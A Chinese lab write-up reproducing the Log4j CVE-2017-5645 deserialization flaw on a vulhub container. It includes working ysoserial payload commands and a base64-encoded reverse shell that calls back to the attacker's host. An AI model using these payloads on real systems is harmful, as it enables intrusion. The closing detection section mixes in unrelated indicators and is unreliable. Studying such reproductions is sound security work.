log4j反序列化漏洞复现

漏洞简介

Apache Log4j 是一个用于 Java 的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2 之前的 2.x 版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

漏洞分析

Description: When using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

描述：当使用TCP套接字服务器或UDP套接字服务从另一个应用程序接收序列化日志事件，这是一个精心设计的可以发送二进制有效载荷，当反序列化时，可以执行任意命令

源码解析

UdpSocketServer与TcpSocketServer的结构类似

我们创建TcpSocketServer代码用于测试。

// src/main/java/Log4jSocketServer.java
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;

import java.io.IOException;
import java.io.ObjectInputStream;

public class Log4jSocketServer {
    public static void main(String[] args){
        TcpSocketServer<ObjectInputStream> myServer = null;
        try{
            myServer = new TcpSocketServer<ObjectInputStream>(4712, new ObjectInputStreamLogEventBridge());
        } catch(IOException e){
            e.printStackTrace();
        }
        myServer.run();
    }
}

<!-- maven文件pom.xml -->
<dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.8.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.8.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

当我们运行代码后，程序会在本地的 4712 端口开始等待接收数据，然后在下图第105行代码处，将接收到的数据转换成 ObjectInputStream 对象数据，最终在 handler.start() 中调用 SocketHandler 类的 run 方法。

serverSocket就是根据之前传入的int端口号来新建的一个ServerSocket对象。注意红框里，将clientSocket作为参数实例化SocketHandler类，然后放入handlers中，handlers是一个ConcurrentMap。最后调用了start函数

我们去看看这个 SocketHandler 具体做了什么

函数里，获取了 socket 中的数据流后，传入了 logEventInput 的wrapStream中，看看logEventInput

就将传入的inputStream用ObjectInputStream包装一下然后返回了
那么这个SocketHandler中的inputStream就是一个ObjectInputStream对象了

我们接着看SocketHandler的run函数，在 SocketHandler 类的 run 方法中， ObjectInputStream 对象数据被传入了 ObjectInputStreamLogEventBridge 类的 logEvents 方法，而反序列化就发生在这个方法中。

实验环境

系统类别：Kali Linux

IP：192.168.48.128

环境搭建

先启动环境

┌──(root㉿kali)-[~/vulhub/log4j/CVE-2017-5645]
└─ cd /root/vulhub/log4j/CVE-2017-5645

┌──(root㉿kali)-[~/vulhub/log4j/CVE-2017-5645]
└─ docker-compose up -d
Starting cve-2017-5645_log4j_1 ... done

┌──(root㉿kali)-[~/vulhub/log4j/CVE-2017-5645]
└─ docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS          PORTS                                       NAMES
70e324d18afc   vulhub/log4j:2.8.1   "java -jar /log4jrce…"   2 hours ago   Up 22 minutes   0.0.0.0:4712->4712/tcp, :::4712->4712/tcp   cve-2017-5645_log4j_1

启动后在4712端口启动了一个TCPServer

探测一下

┌──(root㉿kali)-[~/vulhub/log4j/CVE-2017-5645]
└─ nmap 192.168.48.128 -p 4712
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 01:08 CST
Nmap scan report for 192.168.48.128
Host is up.

PORT     STATE    SERVICE
4712/tcp filtered unknown

很奇怪，为啥状态是“filtered(过滤)”，后面试了试不影响实验就没管了，正常应该是“open”

漏洞验证

我们使用ysoserial生成payload，然后直接发送给192.168.48.128:4712端口即可。

┌──(root㉿kali)-[~/桌面/tools]
└─ java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/1success" | nc 192.168.48.128 4712
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

#然后进入容器查看命令是否执行成功

┌──(root㉿kali)-[~/vulhub/log4j/CVE-2017-5645]
└─ docker-compose exec log4j bash
root@70e324d18afc:/# ls
bin   docker-java-home	lib			       media  proc  sbin  tmp
boot  etc		lib64			       mnt    root  srv   usr
dev   home		log4jrce-1.0-SNAPSHOT-all.jar  opt    run   sys   var
root@70e324d18afc:/# cd tmp
root@70e324d18afc:/tmp# ls
hsperfdata_root  success
root@70e324d18afc:/tmp# ls
1success  hsperfdata_root  success

#出现了文件“1success”,命令执行成功

我们再试试反弹shell

首先，我们打开在线生成shell的网站，网址为

https://forum.ywhack.com/shell.php

输入kali攻击机的ip地址以及对应的端口，就能够在线生成shell，我们复制第一个shell

然后，我们将生成的shell进行base64加密，在线加密的网址为

https://base64.us/

将加密的结果复制

打开终端开始监听9898端口

┌──(root㉿kali)-[~/桌面/tools]
└─ nc -lvvp 9898
listening on [any] 9898 ...

重新打开一个终端，输入命令

┌──(root㉿kali)-[~/桌面/tools]
└─ java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEyOC85ODk4IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.48.128 4712
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

#成功反弹shell

┌──(root㉿kali)-[~/桌面/tools]
└─# nc -lvvp 9898
listening on [any] 9898 ...
172.18.0.2: inverse host lookup failed: Unknown host
connect to [192.168.48.128] from (UNKNOWN) [172.18.0.2] 38958
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@70e324d18afc:/# whoami
whoami
root

传输过去的命令的解释是这样的，应该是数据传输的问题，我试了试直接将生成的shell当做命令执行的话，是没有成功反弹shell的。

漏洞修复

更新到最新版本

漏洞流量特征

四、漏洞流量特征：
1、攻击者通常利用Log4j漏洞来执行远程指令，因此攻击流量中可能包含恶意代码。

2、攻击者可以通过利用Log4j漏洞来绕过Web应用程序的安全性，因此攻击流量中可能包含对Web应用程序的修改和访问。

3、攻击者通常会尝试使用恶意代码来启动已被收集的许多有价值的数据，因此攻击流量中可能包含大量的数据包。

在攻击流量中， Log4j漏洞的攻击通常会使用特定的Payload。

判断是否已经攻击成功我们要检查应用程序的日志文件，特别是logs文件夹中的日志文件。

以下是一些可以帮助判断漏洞是否被利用的指标：

当日志文件中出现“RememberMe”或“Admin”等关键字。

日志文件中出现远程代码执行相关的异常信息。

检查系统中是否存在未知的网络流量，特别是与恶意IP地址之间的流量。

检查服务器的端口使用情况，确认是否存在未知的端口使用。

---

参考：

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)_吉吉_大王的博客-CSDN博客

Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）（漏洞复现详细过程）_六十亿少女的梦的博客-CSDN博客